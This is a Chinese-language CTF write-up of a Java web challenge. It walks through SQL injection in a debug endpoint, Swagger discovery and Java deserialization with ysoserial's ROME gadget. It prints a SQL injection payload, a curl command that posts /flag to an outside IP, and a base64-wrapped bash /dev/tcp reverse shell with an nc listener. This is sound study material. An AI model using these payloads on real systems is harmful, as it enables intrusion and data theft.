CTFHub
通过打开附件文件中test类文件发现
//发现文件路劲
@RequestMapping({"/common/test"})
public class Test {
public Test() {
}
@PostMapping({"/sqlDict"}) //通过文件命名可以发现是关于sql的文件
@Access
@ApiOperation("为了开发方便对应数据库字典查询")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
//发现数据库连接的账号和密码
}
}
再打开sqlDict文件下的sqlDict类文件发现
//通过对代码的简要分析可以看的出来,这是一个与mysql数据连接的代码
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
//参数dbName
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
//又通过这里发现myapp文件,可以发现是通过myapp这个文件进行传参,将数据进行提交的
#由此可以猜想出该网站怎么样提交数据:dbName=myapp?a(参数)=xxxxxx
}
if (user == null || dbName.equals("")) {
user = "root";
}
if (pass == null || dbName.equals("")) {
pass = "abc@12345";
}
conn = DriverManager.getConnection(dbName, user, pass); //连接数据库
//通过查找发现代码中,存在一个重要的突破点,sql语句的查询(存在sql注入漏洞)
TableName = tableNames.getString(3);
Table table = new Table();
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);
1.注意在访问java-web类型网站时该请求一般为post请求,否者网站不能正常通讯,数据无法提交
2.根据以上代码的简要分析,可以发现该题目的第一个突破点为sql注入(目的突破后台验证,进入后台系统)
3.通过对test类文件的代码审计可以发现sql注入漏洞存在的文件路劲为:/common/test/sqlDict
4.访问漏洞地址获取字段表名
5.通过sqlDict类文件中代码分析,猜想出了该网站是怎么样进行提交数据的:dbName=myapp?a(参数)=xxxxxx
6.通过以上分析构造sql注入payload:dbName=myapp?a=' union select (select pwd from user)# //注意这里pwd可以通过代码去分析找出来,也可以进行猜测
1.通过sql注入获取密码,绕过验证,再次分析test类文件中所导入的接口文件发现:import io.swagger.annotations.ApiOperation;//发现了这个接口文件
2.swagger 开发接口,测试注入漏洞及访问接口进行调用测试,通过网上资料查找接口地址为:/swagger-ui.html 进行账号密码登录测试
JAVAWEB 特征可以作为序列化的标志参考:
一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据
或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制
发现了数据中的rO0ABXNyAB开头的数据,这是通过序列化加base64的数据,可以分析出存在反序列化,再进行数据解析
对base64解密+解序列化的数据进行解密:
rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==
发现返回内容中包括用户名:
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 07
Length - 6 - 0x00 06
Value - ctfhub - 0x637466687562
在使用接口中获取当前用户信息进行测试:
由此可见:
1.通过登录接口将用户信息进行了序列化+base64加密后的数据
2.再通过获取当前用户信息进行了base64解密+反序列化后的对象
3.发现了数据中的rO0ABXNyAB开头的数据,这是通过序列化加base64的数据,可以分析出存在反序列化.又发现将登录成功返回的data中数据(用户token)放入获取当前用户信息接口测试,返回当前用户名数据,可以发现获取用户信息接口通过序列化加base64数据的进行执行查询了该用户,判断存在反序列化漏洞,尝试获取flag以及反弹shell
解密后数据中包含帐号等信息,通过接口/common/user/current 分析可知数据有接受,说明存在反序列化操作
思路:将恶意代码进行序列化后通过获取当前用户信息接口带入执行
1.利用 ysoserial 进行序列化生成
java -jar ysoserial-all.jar ROME "curl http://公网IP -d @/flag" > payload.bin
2.将payload带入到获取当前用户接口进行执行
3.公网服务器监听端口
nc -lvvp 端口
bash反弹shell会话:
bash -i >& /dev/tcp/xx.xx.xx/端口 0>&1 进行base64 //下面base64就是这里生成的
python base64-encode.py
b'xxxxxxxxxxxxxx'
java -jar ysoserial-all.jar ROME "bash -c {echo,xxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" > payload.bin
python base64-encode.py
公网服务器监听端口
nc -lvvp 端口